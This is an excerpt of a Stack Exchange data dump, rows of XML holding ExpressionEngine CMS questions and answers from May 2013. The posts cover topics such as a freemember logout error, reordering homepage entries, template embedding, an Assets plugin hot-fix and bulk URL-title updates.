  <row Id="10248" PostTypeId="1" AcceptedAnswerId="10250" CreationDate="2013-05-09T22:47:17.717" Score="1" ViewCount="134" Body="&lt;p&gt;I am using freemember(&lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/expressodev/freemember&lt;/a&gt;) for login in and registration. I just installed it and I'm logged in as admin. When i try to logout i get this error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: require(/home/a7116614/public_html/ee/system/expressionengine/modules/member/mod.member.php) [function.require]: failed to open stream: No such file or directory&#xA;&#xA;Filename: libraries/freemember_lib.php&#xA;&#xA;Line Number: 554&#xA;&#xA;&#xA;Fatal error: require() [function.require]: Failed opening required '/home/a7116614/public_html/ee/system/expressionengine/modules/member/mod.member.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/a7116614/public_html/ee/system/expressionengine/third_party/freemember/libraries/freemember_lib.php on line 554&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I used my ftp client to check and navigate to &lt;strong&gt;public_html/ee/system/expressionengine/modules/member/mod.member.php&lt;/strong&gt;, but &lt;strong&gt;member/mod.member.php&lt;/strong&gt;  does not exist.&#xA;Please help me, I am stuck here.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1464" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-05-09T23:42:18.513" Title="Error when using freemember module" Tags="|module|login|freemember|logout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10249" PostTypeId="1" CreationDate="2013-05-09T22:53:18.483" Score="2" ViewCount="192" Body="&lt;p&gt;I am trying to find the most common way to add entries to the home page and then reorder them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I have set a custom status and used Low Reorder to sort the entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other methods people prefer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested &lt;a href=&quot;https://bitbucket.org/ajweaver/ajw_selecteditems/src&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/ajweaver/ajw_selecteditems/src&lt;/a&gt; but it hasn't been updated in a while and also throwing an error in EE 2.6 so i'm hesistant to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appreciate any thoughts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-05-10T08:31:32.637" Title="Add to homepage and reorder" Tags="|channel-entries|low-reorder|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10250" PostTypeId="2" ParentId="10248" CreationDate="2013-05-09T23:42:18.513" Score="1" Body="&lt;p&gt;Looks like you're using the Core Version of EECMS. The &lt;a href=&quot;https://store.ellislab.com/#ee-core&quot; rel=&quot;nofollow&quot;&gt;core version&lt;/a&gt; doesn't have the member module.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-09T23:42:18.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10252" PostTypeId="2" ParentId="10161" CreationDate="2013-05-10T02:19:55.987" Score="1" Body="&lt;p&gt;The results parameter needs to go on your &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/simple.html#results&quot; rel=&quot;nofollow&quot;&gt;search form&lt;/a&gt;, not the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/results.html#search-results-tag&quot; rel=&quot;nofollow&quot;&gt;results&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="116" LastEditorUserId="343" LastEditDate="2013-05-10T08:54:35.693" LastActivityDate="2013-05-10T08:54:35.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10253" PostTypeId="1" CreationDate="2013-05-10T03:02:29.550" Score="4" ViewCount="181" Body="&lt;p&gt;If I set my PHP instance to 5.4.10 any Playa tags are rendered as raw tags but under 5.3.20 they render correctly. Is this too new a version to play with?&lt;/p&gt;&#xA;" OwnerUserId="303" LastEditorUserId="69" LastEditDate="2013-10-16T13:16:59.997" LastActivityDate="2013-10-30T13:38:24.290" Title="Playa tags rendering in PHP 5.4.10" Tags="|channel-entries|playa|pixelandtonic|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10254" PostTypeId="2" ParentId="10249" CreationDate="2013-05-10T03:27:06.770" Score="2" Body="&lt;p&gt;I suggest you to use the new &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;relationship field&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since now it's possible to select several entries and reorder them, you can have a relationship field for your home page. You can use the Pages Module to make a homepage setting its URL to '/', or you can create a Channel for homepages. Both ways, you can have relationship fields to select and reorder the chosen entries.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-10T03:27:06.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10255" PostTypeId="1" CreationDate="2013-05-10T07:09:37.660" Score="2" ViewCount="156" Body="&lt;p&gt;We have a client who needs to add a 1% surcharge to online credit card orders only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've been fudging it via tax but that is only temporary as it won't allow us to control whether it is applied or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling that we might need to manage it via Hooks but that is new territory for me. If any one has solved this problem or has some advice as to where to start I'd be grateful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Sean&lt;/p&gt;&#xA;" OwnerUserId="539" LastActivityDate="2014-11-10T02:43:32.207" Title="Passing on a 1% credit card fee using Expresso Store" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10256" PostTypeId="1" AcceptedAnswerId="10270" CreationDate="2013-05-10T07:14:38.527" Score="2" ViewCount="694" Body="&lt;p&gt;I have a simple Matrix field inside Low Variables. All I want to do is display a message when there are no results, but the conditional isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;friends&quot;}&#xA;&#xA;    {if no_results}&#xA;         &amp;lt;p&amp;gt;Coming Soon&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;&amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;span4 unstyled text-center&quot;&amp;gt;&#xA;       &amp;lt;li&amp;gt;{name}&amp;lt;/li&amp;gt;&#xA;       &amp;lt;li&amp;gt;{special}&amp;lt;/li&amp;gt;&#xA;       &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{link}&quot;&amp;gt;Website&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;   &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1310" LastEditorUserId="425" LastEditDate="2013-05-10T14:09:20.477" LastActivityDate="2013-05-10T14:09:20.477" Title="Conditional not working in Low Variables/Matrix field" Tags="|matrix|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10257" PostTypeId="1" AcceptedAnswerId="10267" CreationDate="2013-05-10T07:25:13.920" Score="0" ViewCount="120" Body="&lt;p&gt;I'm new to EE and I'm trying to do some securitiy testing on EE.&#xA;Is it possible to make user login/registration and fileupload with exression engine core  version? I tried using third party module freemember module but no luck because EE core version doesn't have members module :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1464" LastActivityDate="2013-05-10T12:08:59.000" Title="Expression engine core version limitations" Tags="|file-uploads|login|security|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10258" PostTypeId="2" ParentId="10249" CreationDate="2013-05-10T08:31:32.637" Score="3" Body="&lt;p&gt;Various approaches for such things. Here are my favorites:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a homepage channel with one entry and as many custom fields as you need. You could use a Playa or a relationship field to select and order the entries you want on the homepage. &lt;a href=&quot;https://github.com/leevigraham/expressionengine-fundamentals/blob/master/chapters/03-homepage.md&quot; rel=&quot;nofollow&quot;&gt;Approach detailed by Leevi Graham on GitHub&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt;, make a bunch of variables to control your homepage. Create a Playa, Relationship variable for the entries you want to order on your homepage. Alternatively, you can also use the &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/types#select-entries&quot; rel=&quot;nofollow&quot;&gt;select entries variable type&lt;/a&gt; bundled with Low Variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-05-10T08:31:32.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10259" PostTypeId="1" CreationDate="2013-05-10T08:39:40.027" Score="2" ViewCount="241" Body="&lt;p&gt;Having a few issues with PayPal Express and CT Pro 2.2.9:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Upon checking out to PayPal and clicking PayPal's &quot;Cancel and Return to Store&quot; link, the user is taken back to the URL in the checkout form's return parameter. Does PayPal Express not make use of the failed_redirect parameter?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Upon a successful PayPal Express transaction, CT's cart isn't emptied? I have tried this method (&lt;a href=&quot;http://cartthrob.com/forums/viewthread/7557/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/forums/viewthread/7557/&lt;/a&gt;), however, the clear cart tag, although in the if authorized conditional, empties the cart on payment failure also.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="759" LastActivityDate="2014-04-14T15:47:19.657" Title="Cartthrob and PayPal Express Niggles" Tags="|cartthrob|paypal|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10260" PostTypeId="1" AcceptedAnswerId="10263" CreationDate="2013-05-10T09:21:34.247" Score="0" ViewCount="340" Body="&lt;p&gt;By default, each template in expression engine is an entire template. Is there a way to set a global template, and have each template be inserted as the content section of that template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie.&#xA;&lt;code&gt;.template.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;  &amp;lt;head&amp;gt;&#xA;  &amp;lt;/head&amp;gt;&#xA;  &amp;lt;body&amp;gt;&#xA;    {embed:currentpagecontent}&#xA;    &amp;lt;footer&amp;gt;&#xA;    &amp;lt;/footer&amp;gt;&#xA;  &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only way I can think of doing it is to have common elements and embed them on &lt;strong&gt;&lt;em&gt;every&lt;/em&gt;&lt;/strong&gt; template - like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed:'.header.php'}&#xA;{embed:'.navbar.php'}&#xA;&#xA;&amp;lt;h1&amp;gt;ipsum lorem&amp;lt;/h1&amp;gt;&#xA;&#xA;{embed:'.footer.php'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it just seems messy having the same prefix and suffix on &lt;strong&gt;&lt;em&gt;every&lt;/em&gt;&lt;/strong&gt; template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(nb. this question sounds annoyingly confusing due the dual meaning of the word 'template' in expression engine!)&lt;/p&gt;&#xA;" OwnerUserId="1466" LastActivityDate="2013-05-10T10:43:08.630" Title="Is there a way to use global templates in expression engine?" Tags="|templates|template-partials|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10261" PostTypeId="2" ParentId="10260" CreationDate="2013-05-10T09:29:08.207" Score="0" Body="&lt;p&gt;You absolutely &lt;em&gt;could&lt;/em&gt; have a single template. Just make 1 template, set it as the 'homepage' of your site then within that apply whatever logic you wish to pull in different embeds or snippets. Though I think it would become a bit messy fairly quickly for anything but the most basic site. It's much simpler to use different template groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the other meaning of &quot;template&quot; in EE? There's only 1 meaning of template as far as I'm aware.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-10T09:29:08.207" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10262" PostTypeId="2" ParentId="10207" CreationDate="2013-05-10T10:17:38.593" Score="1" Body="&lt;p&gt;You just might have to use an embed (or Stash if you're using that).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ee-tag channel=&quot;channel_1&quot; limit=&quot;1&quot; ... }&#xA;   {!-- display first / latest entry of channel_1 --}&#xA;   {embed=&quot;embed/all-other-entries&quot; no-show=&quot;{entry_id}&quot;}&#xA;{/ee-tag}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the &quot;all-other-entries&quot; embed template would have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ee-tag channel=&quot;channel_l|channel_2&quot; entry_id=&quot;not {embed:no-show}&quot; ... }&#xA;   {!-- all entries except the latest from channel_1 --}&#xA;{/ee-tag}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-10T10:17:38.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10263" PostTypeId="2" ParentId="10260" CreationDate="2013-05-10T10:43:08.630" Score="2" Body="&lt;p&gt;This is a common question and there is a technique you can use with the add-on &quot;Stash.&quot; It's already been described and documented multiple times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the selected answer for this other, similar question: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/342/how-to-use-a-common-template-for-all-pages#answer-343&quot;&gt;How to use a common template for all pages?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-05-10T10:43:08.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10264" PostTypeId="2" ParentId="9815" CreationDate="2013-05-10T11:05:41.880" Score="0" Body="&lt;p&gt;sorry for the long wait - we've isolated the bug and fixed it - the fix will be included in the next release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a hot-fix, open the third_party/assets/libraries/assets_lib file, locate the get_files_in_folder method and add this at the very beginning of this method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_array($file_ids))&#xA;{&#xA;  $file_ids = array_filter($file_ids);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should fix your thing!&lt;/p&gt;&#xA;" OwnerUserId="722" LastEditorUserId="722" LastEditDate="2013-05-10T11:14:29.553" LastActivityDate="2013-05-10T11:14:29.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10265" PostTypeId="2" ParentId="10122" CreationDate="2013-05-10T11:06:10.243" Score="0" Body="&lt;p&gt;sorry for the long wait - we've isolated the bug and fixed it - the fix will be included in the next release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a hot-fix, open the third_party/assets/libraries/assets_lib file, locate the get_files_in_folder method and add this at the very beginning of this method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_array($file_ids))&#xA;{&#xA;  $file_ids = array_filter($file_ids);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should fix your thing!&lt;/p&gt;&#xA;" OwnerUserId="722" LastEditorUserId="722" LastEditDate="2013-05-10T11:12:39.623" LastActivityDate="2013-05-10T11:12:39.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10266" PostTypeId="1" CreationDate="2013-05-10T11:32:32.807" Score="1" ViewCount="420" Body="&lt;p&gt;How can a allow Members to register new members via the control panel? I've set up the Members prefs to allow access to the Register Member entry screen. But the system does not seem to accept a new registration - just returns to the same entry screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew&lt;/p&gt;&#xA;" OwnerUserId="994" LastActivityDate="2013-05-10T13:02:06.090" Title="Allow members to register new members" Tags="|members|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10267" PostTypeId="2" ParentId="10257" CreationDate="2013-05-10T12:08:59.000" Score="0" Body="&lt;p&gt;I think you've answered the question yourself. The member module is the only way to allow users to login to an ExpressionEngine site that I'm aware of. There are many third-party add-ons that extend the member modules functionality, like Freemember, but none that replace it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say you should buy a license for testing, but unfortunately, a full license of ExpressionEngine is non-returnable.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-10T12:08:59.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10268" PostTypeId="2" ParentId="10266" CreationDate="2013-05-10T13:02:06.090" Score="1" Body="&lt;p&gt;There are some related options on CP &gt; Members &gt; Member Groups &gt; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Edit Member Group&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can access MEMBERS section;&lt;/li&gt;&#xA;&lt;li&gt;Can administrate members accounts;&lt;/li&gt;&#xA;&lt;li&gt;Can change the group that a member is assigned to (Unlocked groups only);&lt;/li&gt;&#xA;&lt;li&gt;Can delete members;&lt;/li&gt;&#xA;&lt;li&gt;Can ban users;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Besides, you need to have at least one unlocked Member Group. Only &lt;strong&gt;Super Admins&lt;/strong&gt; can register new members to &lt;strong&gt;Locked Member Groups&lt;/strong&gt;. The following image shows that all Member Groups are Locked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dnGxQ.png&quot; alt=&quot;Member groups on the Control Panel of EECMS&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-10T13:02:06.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10269" PostTypeId="1" AcceptedAnswerId="10271" CreationDate="2013-05-10T13:11:16.433" Score="1" ViewCount="69" Body="&lt;p&gt;If I have entry versioning turned on is there any way that I can show details of previous entry versions on the front end?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-10T15:13:48.330" Title="Show entry versions on front-end" Tags="|entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10270" PostTypeId="2" ParentId="10256" CreationDate="2013-05-10T13:35:00.413" Score="1" Body="&lt;p&gt;Matrix doesn't have a &lt;code&gt;no_results&lt;/code&gt; variable. You'll have to just see if the LV field is empty instead. Try this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{exp:low_variables:pair var=&quot;friends&quot;}{name}{exp:low_variables:pair}' == ''}&#xA;  &amp;lt;p&amp;gt;Coming soon.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;{exp:low_variables:pair var=&quot;friends&quot;}&#xA;  {name}&#xA;  {special}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-10T13:35:00.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10271" PostTypeId="2" ParentId="10269" CreationDate="2013-05-10T14:10:54.250" Score="1" Body="&lt;p&gt;I don't believe there is any way using native EE tags, but using the query module I'm sure this could be done or by creating a plugin perhaps.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-05-10T14:10:54.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10272" PostTypeId="2" ParentId="10237" CreationDate="2013-05-10T14:34:10.037" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;@James Right, I really do understand that argument, but at the same&#xA;  time the &quot;streams of content&quot; philosophy requires knowing quite a lot&#xA;  about content before it is ever created.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yep, you're absolutely right there. Most EE sites I've made usually end up with a generic 'Pages' channel, but I always try to drill home that it needs to be for exceptional one-off circumstances. (I'm running Structure on one site and it's a complete mess because the client is defining their own IA. They probably like the power they have, but the site suffers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For setting up a Pages channel I usually use the native Pages module and explain that by default their 'page' will be available at site.com/pages/[url_title] but that they can override/clean up this url to be whatever they like by completing the Page URI field. (There's an add-on somewhere that automatically fills in the Pages URI field with the url_title on save, but I can't find it at the moment)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create a generic Pages template (template group in fact), and point the Pages module's default settings for the pages channel to use that template, then I always hide the template selector in the publish screen (using Publish Layouts) so the client can't choose which template gets used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then 6 months later I come back and find 100s of 'pages' that should have been 'events' or 'conferences' or 'products' or anything else and I'm a little bit sick in my mouth.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-10T14:34:10.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10273" PostTypeId="1" AcceptedAnswerId="10281" CreationDate="2013-05-10T14:58:51.657" Score="0" ViewCount="40" Body="&lt;p&gt;I'm ending up with banned IPs being added to my bootstrapped config file by ExpressionEngine on the live server but this means my local config.php is at odd with the live version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I handle such a scenario? Commit the changes from the live server back into the repo on a regular basis? Or is there some way to push banned IPs into a database table instead (would seem to make more sense!)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-05-10T16:21:08.297" Title="Handling banned IPs when you deploy using version control" Tags="|spam|banned|ip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10274" PostTypeId="2" ParentId="10269" CreationDate="2013-05-10T15:13:48.330" Score="0" Body="&lt;p&gt;Please see here &lt;a href=&quot;http://www.sidd3.com/get-entry-revisions-in-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;http://www.sidd3.com/get-entry-revisions-in-expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be helpful for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-10T15:13:48.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10275" PostTypeId="1" CreationDate="2013-05-10T15:14:56.030" Score="2" ViewCount="142" Body="&lt;p&gt;I have Assets hooked up to S3, and have over 35,000 images indexed. When loading the Assets module file manager, the browser clocks and cannot render the file list. Same thing when selecting a file from the Assets field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inspecting the Assets source code, Assets_lib::get_folder_tree() is being called, creating one huge array of all folders/files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to lazy load files into the browser? Is there a setting in Assets to do this? Or how do others handle a large quantity of files? Is there a different module that will give me the S3 hookup and still handle a large quality (I am willing to sacrifice UI/design if I can find a solution to this issue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any direction would be appreciated, I am planning on using over 200,000 images in the future.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.5.5&lt;/li&gt;&#xA;&lt;li&gt;Assets 2.1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I have over 6,500 folders within my S3 bucket. Although the files are being lazy loaded as noted in the comments, the folders are not - this is where I believe the issue to be.&lt;/p&gt;&#xA;" OwnerUserId="918" LastEditorUserId="918" LastEditDate="2013-05-14T13:14:20.517" LastActivityDate="2013-05-14T13:14:20.517" Title="Too many files for Assets to display" Tags="|assets|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10276" PostTypeId="2" ParentId="10240" CreationDate="2013-05-10T15:40:26.230" Score="6" Body="&lt;p&gt;You can do a bulk update of URL Titles with SQL like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_titles SET url_title=REPLACE( LOWER(title) , ' ', '-') WHERE channel_id=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see URL Title is being derived from Title replacing space with dash and changing in lower case. You can have channel_id and any other condition in WHERE according to your preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have second approach by writing script using Channel Entry API like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('api');&#xA;        $this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;        $this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;    $channel_id = 'Channel id number here';&#xA;&#xA;        $entries = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('entry_id, title')-&amp;gt;where('channel_id', $channel_id)-&amp;gt;get('channel_titles')-&amp;gt;result_array();&#xA;        foreach($entries as $entry)&#xA;        {&#xA;            $data = array(&#xA;                    'title' =&amp;gt; $entry['title'],&#xA;'channel_id' =&amp;gt; 'channel id number'&#xA;                );&#xA;            $this-&amp;gt;EE-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings($channel_id, $data);&#xA;            $this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;update_entry($entry['entry_id'], $data);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-05-14T02:11:40.253" LastActivityDate="2013-05-14T02:11:40.253" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="10277" PostTypeId="1" CreationDate="2013-05-10T15:57:30.893" Score="0" ViewCount="151" Body="&lt;p&gt;I have a channel, loan-officers. Each entry in this channel has a related_entry field for each loan officer to choose which branch they are associated with. (the related_entry field is called officer_branch, and is a Relationship fieldtype.) Each loan officer can be associated with only one branch. The loan-officer template displays the information from the loan-officer channel, a single entry at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On each loan-officer template, I want to display a link to the loan officer's associated branch. The information about the individual branches displays through the template &quot;branch/index&quot;. I want the link text to be the branch name, which is the {title} tag of the related entry. The URL should be the 'branch' template group, plus the {url_title} of the related entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what code to use for this. We have EE 2.5.5 installed, and so the documentation I can find via Google...doesn't work for our installation. (Running EE 2.5.5 on AWS.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is possibly fairly obvious, but I haven't worked with EE's native related_entries tag too much. I don't even know if this is related_entries, or reverse_related_entries. Sorry!!)&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastEditorDisplayName="user800" LastEditDate="2013-05-10T16:53:19.227" LastActivityDate="2013-05-10T21:58:51.723" Title="Add link to related entry (ee2.5.5)" Tags="|ee2|related-entries|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10278" PostTypeId="1" AcceptedAnswerId="10291" CreationDate="2013-05-10T15:57:31.607" Score="1" ViewCount="345" Body="&lt;p&gt;On the Expresso Store documentation it says that making custom payment gateways is dead easy, but i cant find the documentation on how to do so. Does anyone know where i can look / have any info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also i am going to be integrating using Sagepay Form. This is different from Sagepay server and direct. I assume i need to code my own custom gateway and that is not anything else available that i may have missed?&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2013-05-26T11:30:26.233" Title="Exp-resso Store Custom Payment Gateway / Sagepay Form" Tags="|expresso-store|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
